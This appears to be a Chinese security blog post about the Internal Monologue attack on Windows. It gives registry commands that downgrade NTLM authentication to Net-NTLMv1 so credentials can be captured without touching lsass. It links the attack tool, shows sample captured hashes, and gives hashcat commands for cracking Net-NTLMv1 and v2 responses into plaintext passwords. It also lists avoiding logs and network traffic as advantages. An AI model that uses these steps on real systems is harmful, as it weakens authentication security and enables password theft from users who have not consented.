更新2020_01_17

Net-NTLMv1的加密方法:

1、客户端向服务器发送一个请求
2、服务器接收到请求后,生成一个8位的Challenge,发送回客户端
3、客户端接收到Challenge后,使用登录用户的密码hash对Challenge加密,作为response发送给服务器
4、服务器校验response

简单的描述: Net-NTLMv1 就是上面加密方法步骤中的 登陆用户的密码加密成Hash再跟Challenge(挑战码)加密后在内存中保留的值。

详细的过程可以参考: https://www.cnblogs.com/zpchcbd/p/11738923.html


Net-NTLMv1的利用思路:

由于Net-NTLMv1的脆弱性,在控制Challenge后可以在短时间内通过彩虹表还原出用户的ntlm hash,所以在利用上首选的是将Win7环境下的默认Net-NTLMv2降级到Net-NTLMv1,获取本机的通信数据,还原出ntlm hash。

实现工具: InternalMonologue

下载地址: https://github.com/eladshamir/Internal-Monologue

注意点:自Windows Vista/Server2008开始起,微软默认使用Net-NTLMv2协议,想要降级到Net-NTLMv1,首先需要获得当前系统的管理员权限。

修改注册表需要管理员权限:

修改注册表开启Net-NTLMv1:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 2 /f

为确保Net-NTLMv1开启成功,还需要修改两处注册表键值:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v NtlmMinClientSec /t REG_DWORD /d 536870912 /f
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ /v RestrictSendingNTLMTraffic /t REG_DWORD /d 0 /f

Net-NTLMv1的格式为:username::hostname:LM response:NTLM response:challenge

Administrator::adexx-PC:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad:1122334455667788

使用hashcat进行字典破解,参数如下:

hashcat -m 5500 hash.txt password.txt

优点:

1、这种方式不会对lsass.exe进程进行操作

2、同本地NTLM SSP进行交互,不会产生流量

3、没有进行NTLM认证,不会产生日志

补充:

Net-NTLMv2的格式username::domain:challenge:HMAC-MD5:blob

如果以普通用户权限执行InternalMonologue,同样能够获得当前用户的Net-NTLMv2数据包(注意是的Net-NTLMv2的数据包,不是Net-NTLMv1,因为没有权限去进行降级到Net-NTLMv1),通过hashcat进行破解,也能获得当前用户的明文口令

如上图,获得Net-NTLMv2的数据包如下:

yuyonghu01::PENTEST:1122334455667788:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad:bf3d8d0c689b18f7fce20f605af5b689dadc3623865acfad

使用hashcat进行字典破解,参数如下:

hashcat -m 5600 hash.txt password.txt


总结:

自Windows Vista起,微软默认使用Net-NTLMv2协议,想要降级到Net-NTLMv1,首先需要获得当前系统的管理员权限

而对于Net-NTLMv2协议,即使抓到了通信数据包,只能对其进行字典攻击或是暴力破解,破解的概率不是很高

综上,自Windows Vista起,系统默认使用的Net-NTLMv2协议在安全性上能够保证

参考文章:https://xz.aliyun.com/t/2205

最新文章

  1. nodejs进阶(4)—读取图片到页面
  2. LINUX磁盘分区、格式化、挂载、卸载全程详解
  3. android studio 中 添加.so 文件
  4. OC中property的有关属性
  5. Javascript金额转化
  6. Python 中的引用和类属性的初步理解
  7. [Objective-c 基础 - 2.6] @property和@synthesize
  8. jeesite 经常出现java.lang.ClassNotFoundException: org.springframework.web.context.ContextLoaderL解决思路
  9. python3实现邮件发送程序
  10. OC中属性readwrite,readonly,assign,retain,copy,nonatomic 各是什么作用,在那种情况下用?
  11. Oracle之savepoint
  12. UIKit继承结构和UIView.h文件详解
  13. 笔记-Python基础教程(第二版)第一章
  14. [JSOI2008]Blue Mary开公司
  15. activiti uuid主键
  16. 洛谷P1622释放囚犯
  17. 【vue】中 $parent 和 $children 的使用方法
  18. YCSB之HBase性能测试
  19. firefox event.preventDefault(); 没有效果的解决方案
  20. android ContentObserver内容观察者基本使用

热门文章

  1. redis常用命令及持久化机制
  2. 几个c++界面库的比较
  3. Fiddler抓包8-打断点(bpu)(转)
  4. .NET 的程序集加载上下文
  5. 1.ASP.NET Core 中向 Razor Pages 应用添加模型
  6. Navicat连接腾讯云服务器上的数据库
  7. Java 之 Servlet的urlPartten
  8. RSA算法一:数学原理
  9. time的基本使用介绍
  10. MySQL Disk--MySQL磁盘问题排查